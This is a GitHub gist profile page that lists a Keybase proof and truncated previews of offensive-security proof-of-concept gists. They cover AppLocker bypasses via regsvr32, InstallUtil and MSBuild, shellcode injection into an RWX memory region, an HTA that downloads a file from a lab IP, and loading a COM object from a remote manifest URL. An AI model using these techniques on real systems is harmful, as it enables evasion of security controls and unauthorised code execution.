Skip to content

Instantly share code, notes, and snippets.

View nicholasmckinney's full-sized avatar

Nicholas McKinney nicholasmckinney

20 followers · 5 following
View GitHub Profile
@nicholasmckinney
nicholasmckinney / keybase.md
Created July 10, 2019 17:45

Keybase proof

I hereby claim:

  • I am nicholasmckinney on github.
  • I am nmckinney (https://keybase.io/nmckinney) on keybase.
  • I have a public key ASBqse1yS6iwRjkOpztImyi_LjiwsCubrRle_P6fWx7U7go

To claim this, I am signing this object:

@nicholasmckinney
nicholasmckinney / example.sct
Created May 8, 2017 00:33
SCT File Obfuscation Examples:
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[
//x86 only. C:\Windows\Syswow64\regsvr32.exe /s /u /i:file.sct scrobj.dll
@nicholasmckinney
nicholasmckinney / rwxHunter.cs
Created May 8, 2017 00:33
Locate a RWX Region in memory in InstallUtil.exe - Copy Shellcode Into It and Execute. Avoid VirtuallAlloc Call
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
@nicholasmckinney
nicholasmckinney / Win10Bypass.cs
Created May 8, 2017 00:33
Windows 10 Prototype Bypass Applocker
using System;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
@nicholasmckinney
nicholasmckinney / evil.cs
Created May 8, 2017 00:33
Execute a DLL via Regsvr32
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using RGiesecke.DllExport;
namespace Export
{
class Test
{
@nicholasmckinney
nicholasmckinney / InstallUtil.hta
Created May 8, 2017 00:33
Download And Compile
<html>
<head>
<script>
//Set your settings
var strFileURL = "http://192.168.56.103/execalc.html";
var oTest = new ActiveXObject("wscript.shell");
var pathTest = oTest.ExpandEnvironmentStrings("%USERPROFILE%") + "\\Downloads\\execalc.html";
var strHDLocation = pathTest;
@nicholasmckinney
nicholasmckinney / kernel.xml
Created May 8, 2017 00:33
Blog Post Code - Attacking Drivers with MSBuild.exe.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe kernel.xml -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
@nicholasmckinney
nicholasmckinney / DynamicWrapperCS.cs
Created May 8, 2017 00:33
Dynamic Wrapper 1.1
using System;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime;
using System.Text;
using System.Runtime.InteropServices;
using System.EnterpriseServices;
using ComTypes = System.Runtime.InteropServices.ComTypes;
 
@nicholasmckinney
nicholasmckinney / EmpireCOMPosh.cs
Created May 8, 2017 00:33
Allows PowerShell Commands To Execute via JavaScript via COM. PowerShell without PowerShell.exe
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
@nicholasmckinney
nicholasmckinney / regfreeCom.ps1
Created May 8, 2017 00:33
Registration-Free Com Object from URL
# Make Sure dynwrapx,dll is in %temp%
$a = new-object -com Microsoft.Windows.ActCtx
$a.ManifestURL = 'https://gist.githubusercontent.com/subTee/36df32293bc5006148bb6b03b5c4b2c1/raw/661b5aafd55288930761d9ad4eabe7403146ab5c/dynwrapx.dll.manifest'
$b = $a.CreateObject("DynamicWrapperX")
$b.Register("user32.dll", "MessageBoxW", "i=hwwu", "r=l") | Out-Null
$b.MessageBoxW(0, "Hello, world!", "Test", 4) | Out-Null